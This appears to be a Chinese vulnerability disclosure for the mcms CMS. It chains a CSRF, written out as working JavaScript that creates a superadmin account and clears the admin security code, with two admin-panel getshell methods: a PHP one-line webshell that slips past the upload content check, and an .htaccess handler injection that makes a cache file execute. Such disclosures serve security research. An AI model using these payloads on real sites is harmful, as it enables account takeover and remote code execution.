### 简要描述:
mcms手机建站之星,审的差不多了,最后发一个吧。还有些代码中间有些地方有点危险,但暂时没发现能造成什么漏洞。
加之前那个后台getshell方法,一共三弹,都不一样,有不同的新姿势。
### 详细说明:
mcms后台没有验证token,所以可以导致csrf(不过前提是,要有后台地址)。除了可以直接getshell以外,还可以加个管理账户,手动getshell,这样更保险。
csrf加管理的javascript代码如下:
```
gum = function(){
var u = {
'version':'1140213',
'domain':'{{domain}}',
'backinfo':{},
'author': 'https://github.com/quininer/gum'
};
u.e = function(code){try{return eval(code)}catch(e){return ''}};
u.name = function(names){
return document.getElementsByTagName(names);
};
u.html = function(){
return u.name('html')[0]
||document.write('<html>')
||u.name('html')[0];
};
u.addom = function(html, doming, hide){
(!doming)&&(doming = u.html());
var temp = document.createElement('span');
temp.innerHTML = html;
var doms = temp.children[0];
(hide)&&(doms.style.display = 'none');
doming.appendChild(doms);
return doms;
};
u.post = function(url, data){
var form = u.addom("<form method='POST'>", u.html(), true);
form.action = url;
for(var name in data){
var input = document.createElement('input');
input.name = name;
input.value = data[name];
form.appendChild(input);
};
form.submit();
};
return u;
}();
gum.post('http://localhost/mcms/adm/admin_list.php?m=edit', {
'aname': 'testa',
'apass': '123456',
're_pass': '123456',
'group_id': '1'
});
```
将这段js插入任意html页面中,诱使管理员访问,即可为mcms增加一个用户名是testa,密码是123456的超级管理员账号:
[<img src="https://images.seebug.org/upload/201405/11021359d8ac62c155ddc07b9b0cc851d7dcce07.jpg" alt="01.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/11021359d8ac62c155ddc07b9b0cc851d7dcce07.jpg)
不过登录后台还有一个“安全码”,这个安全码也是在配置文件中的。所以我们再使用一个类似的CSRF(具体怎么配置两个CSRF,怎么诱导管理员访问,这个应该不难),将安全码设置为空:
```
//...类似
gum.post('http://localhost/mcms/adm/set.php?m=save', {
'SAFE_CODE': ''
})
```
之后使用testa登录之,开始getshell。
[<img src="https://images.seebug.org/upload/201405/1102275017ff73d4272d7396a05daff205176d1c.jpg" alt="02.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/1102275017ff73d4272d7396a05daff205176d1c.jpg)
出了之前说的配置文件插马(配置文件用的双引号,你懂的)的方式,还有两种getshell方式:
#getshell-1
后台配置 - 基本设置 - 文件上传
[<img src="https://images.seebug.org/upload/201405/11023002711a0e883a79d81454b79996345f4be2.jpg" alt="03.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/11023002711a0e883a79d81454b79996345f4be2.jpg)
加入php后缀。
有同学说,这尼玛也太简单了吧。。。其实没你想的那么简单。。。
我们随便找个上传的地方,上传一个php一句话:
[<img src="https://images.seebug.org/upload/201405/11023113c002dc27a38e013c94ee3c45bff6169b.jpg" alt="04.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/11023113c002dc27a38e013c94ee3c45bff6169b.jpg)
它告诉我“非法图像文件2”。上传.php文件依旧会报错。
我们翻源码,来到上传文件的类,core/upload.class.php,112行:
```
$tmp_con=@file_get_contents($source_file_name);
if(strpos($tmp_con,'php')>0){
$this->error = '非法图像文件2';
@unlink($source_file_name);
return false;
}
```
吓尿了,原来检查了文件内容,如果其中出现php,就报错。下面有两种解决方案:
01).使用短标签<? eval($_POST[a]) ?>,这样的一句话不出现php。但部分环境不支持短标签。
02).我们看到它使用strpos检查上传的文件中是否含有php这个关键字,但strpos函数是返回目标中第一次出现php的位置。所以,只要我们php这个关键字在第0个位置,就不会进入这个if语句了。所以我们上传"php<?php eval($_POST[a]) ?>"这样的一句话即可:
可以看到上传成功了:
[<img src="https://images.seebug.org/upload/201405/11023845a2115c68805fae50929fea2b0a1d0f5c.jpg" alt="05.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/11023845a2115c68805fae50929fea2b0a1d0f5c.jpg)
打开可以执行:
[<img src="https://images.seebug.org/upload/201405/110238579aa352f4f018b97e08581e22f1ab393a.jpg" alt="06.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/110238579aa352f4f018b97e08581e22f1ab393a.jpg)
#getshell-2
mcms后台可以自定义url rewrite规则的,并且mcms会把生成好的规则文件放在web根目录下。我们知道,apache的rewrite规则放在.htaccess文件中,子目录都会继承这个.htaccess的配置。
先科普一下,如果我们在.htaccess中加入以下设置,我们的apache将会把所有名字中有xxx的文件都解析成php执行:
```
<FilesMatch "xxx">
SetHandler application/x-httpd-php
</FilesMatch>
```
所以大家想到了什么?我们将rewrite规则的最后一项用</IfModule>闭合掉,然后加上上述设置:
[<img src="https://images.seebug.org/upload/201405/11025616f18ff6e2c25bab5bdbde350254bfb887.jpg" alt="09.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/11025616f18ff6e2c25bab5bdbde350254bfb887.jpg)
看到.htaccess文件,发现已经变了:
[<img src="https://images.seebug.org/upload/201405/11025656afb3da8219256678c312ea8996be824b.jpg" alt="07.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/11025656afb3da8219256678c312ea8996be824b.jpg)
我让所有文件名中含有“_categories”的都解析成php。为什么呢?
因为mcms的某个缓存文件是这个名字。这样我就不用上传文件了(上传的时候又会遇到那个蛋疼的检测,知识重复了)。我们把php代码写到缓存里,让后让其执行。
来到文档 - 文档分类,随便编辑一个分类的SEO设置 - SEO标题,写入你要执行的php代码:
[<img src="https://images.seebug.org/upload/201405/110301213866792c4617b7643adb6a07a4ba7d4b.jpg" alt="08.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/110301213866792c4617b7643adb6a07a4ba7d4b.jpg)
然后保存,清理一下缓存,再访问一下前台(等于更新缓存了)。
访问cache/localhost_mcms_categories就能看到,我们的代码已经执行了:
[<img src="https://images.seebug.org/upload/201405/110305258d9131077850ad1c3b8892525dc8578d.jpg" alt="10.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/110305258d9131077850ad1c3b8892525dc8578d.jpg)
以上两个getshell方法,都是一些cms中可能会出现的后台getshell方法,第一个看起来似乎很简单,但也涉及到绕过上传文件内容检测。第二个比较新颖,通过.htaccess来造成一个解析漏洞,去解析原本不应该解析的缓存文件,执行任意代码。
### 漏洞证明:
见详细说明。
暂无评论